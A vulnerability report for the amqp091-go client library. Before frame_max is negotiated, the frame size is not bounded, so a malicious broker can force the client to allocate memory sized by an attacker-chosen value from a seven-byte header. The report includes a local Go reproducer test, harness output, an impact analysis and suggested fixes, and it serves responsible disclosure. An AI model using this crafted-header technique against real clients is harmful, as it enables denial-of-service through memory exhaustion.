amqp091-go: Pre-negotiation frame limit is not enforced to 4KB

The source comments and regression tests explicitly combine “negotiated unlimited” with “not yet negotiated” as the same zero state. Those states need different security behavior.

Safe reproduction

This reproducer does not start RabbitMQ, contact any hosted service, send a large payload, or attempt to crash the process. It declares a 2 MiB body and observes the size of the slice passed to the transport's payload Read. Receiving a 2 MiB destination slice proves that the allocation occurred; the test then releases the blocked read and exits.

1. Check out v1.13.0.
2. Save the following as pre_negotiation_frame_limit_test.go in the repository root.
3. Run go test -run '^TestPreNegotiationFrameLimitBypass$' -count=1 -v ..

package amqp091

import (
	"encoding/binary"
	"io"
	"sync"
	"testing"
	"time"
)

const declaredBodySize = 2 << 20

type stagedFrameConn struct {
	mu          sync.Mutex
	header      []byte
	headerRead  bool
	bodyRead    chan int
	bodyOnce    sync.Once
	release     chan struct{}
	releaseOnce sync.Once
}

func newStagedFrameConn() *stagedFrameConn {
	header := make([]byte, 7)
	header[0] = frameBody
	binary.BigEndian.PutUint16(header[1:3], 1)
	binary.BigEndian.PutUint32(header[3:7], declaredBodySize)
	return &stagedFrameConn{
		header:   header,
		bodyRead: make(chan int, 1),
		release:  make(chan struct{}),
	}
}

func (c *stagedFrameConn) Read(p []byte) (int, error) {
	c.mu.Lock()
	if !c.headerRead {
		c.headerRead = true
		n := copy(p, c.header)
		c.mu.Unlock()
		return n, nil
	}
	c.mu.Unlock()

	c.bodyOnce.Do(func() { c.bodyRead <- len(p) })
	<-c.release
	return 0, io.EOF
}

func (c *stagedFrameConn) Write(p []byte) (int, error) { return len(p), nil }

func (c *stagedFrameConn) Close() error {
	c.releaseOnce.Do(func() { close(c.release) })
	return nil
}

func TestPreNegotiationFrameLimitBypass(t *testing.T) {
	conn := newStagedFrameConn()
	openDone := make(chan error, 1)

	go func() {
		_, err := Open(conn, Config{FrameSize: frameMinSize})
		openDone <- err
	}()

	select {
	case got := <-conn.bodyRead:
		if got != declaredBodySize {
			t.Fatalf("payload Read received a %d-byte slice; want %d", got, declaredBodySize)
		}
	case <-time.After(5 * time.Second):
		t.Fatal("payload Read was not reached")
	}

	_ = conn.Close()
	select {
	case <-openDone:
	case <-time.After(5 * time.Second):
		t.Fatal("Open did not exit after the test connection closed")
	}
}

Expected secure behavior

The pre-negotiation reader rejects the oversized declared frame before allocating its payload buffer. The transport should never receive a payload Read with a 2 MiB destination slice.

Actual behavior

The test passes because the transport receives a payload Read whose destination slice is exactly 2 MiB, despite the caller setting Config.FrameSize to frameMinSize. This slice was created by make([]byte, size) using the untrusted frame header.

Additional local validation

A five-test differential harness was run against the exact tested commit. All tests passed:

=== RUN   TestCounterfactualZeroFrameLimitAllocatesBeforePayloadRead
--- PASS: TestCounterfactualZeroFrameLimitAllocatesBeforePayloadRead
=== RUN   TestCounterfactualNegotiatedLimitRejectsBeforePayloadAllocation
--- PASS: TestCounterfactualNegotiatedLimitRejectsBeforePayloadAllocation
=== RUN   TestCounterfactualZeroLimitAllowsSmallFrameControl
--- PASS: TestCounterfactualZeroLimitAllowsSmallFrameControl
=== RUN   TestCounterfactualNegotiatedLimitAllowsSmallFrameControl
--- PASS: TestCounterfactualNegotiatedLimitAllowsSmallFrameControl
=== RUN   TestCounterfactualPublicOpenReachesZeroLimitAllocation
--- PASS: TestCounterfactualPublicOpenReachesZeroLimitAllocation
PASS
ok github.com/rabbitmq/amqp091-go 0.907s

The controls establish that:

• the zero pre-negotiation state reaches attacker-sized allocation;
• a frameMinSize bound rejects the same declaration before allocation;
• both states continue to accept a valid small frame; and
• the vulnerable state is reachable through public Open, not only through an internal helper.

Impact

The frame body length is a network-controlled 32-bit unsigned integer, so one seven-byte frame header can request an allocation approaching 4 GiB on a 64-bit client. The attacker does not need to transmit the declared body before allocation occurs. On memory-constrained clients or containers, this can cause severe memory pressure, an out-of-memory condition, or process termination.

The required attacker position is a malicious or compromised broker, or an equivalent peer able to provide the AMQP transport during connection establishment. No application credentials, user interaction, confidentiality impact, or integrity impact is required or claimed. The primary impact is availability of the client process and potentially dependent services.

Protocol relevance

The AMQP 0-9-1 reference requires peers to accept frames up to the 4096-byte frame-min-size before frame-max is negotiated. It does not require accepting arbitrarily large pre-negotiation frames. A provisional 4096-byte receive limit is therefore compatible with the stated pre-negotiation requirement.

Suggested remediation

Represent these states separately:

• pre-negotiation, with a provisional frameMinSize receive bound;
• negotiated with a finite frame_max; and
• explicitly negotiated unlimited, if that behavior remains supported.

Initialize the provisional bound before the reader goroutine starts, then replace it with the negotiated result after connection.tune. Reject any declared payload that would make the total frame exceed the active limit before calling a frame parser or allocating a payload buffer. A protocol-state check that rejects body frames before connection setup completes would add defense in depth.

Please add a regression through public Open that sends an oversized body-frame header before connection.tune and verifies rejection before payload allocation, while retaining small valid-frame controls.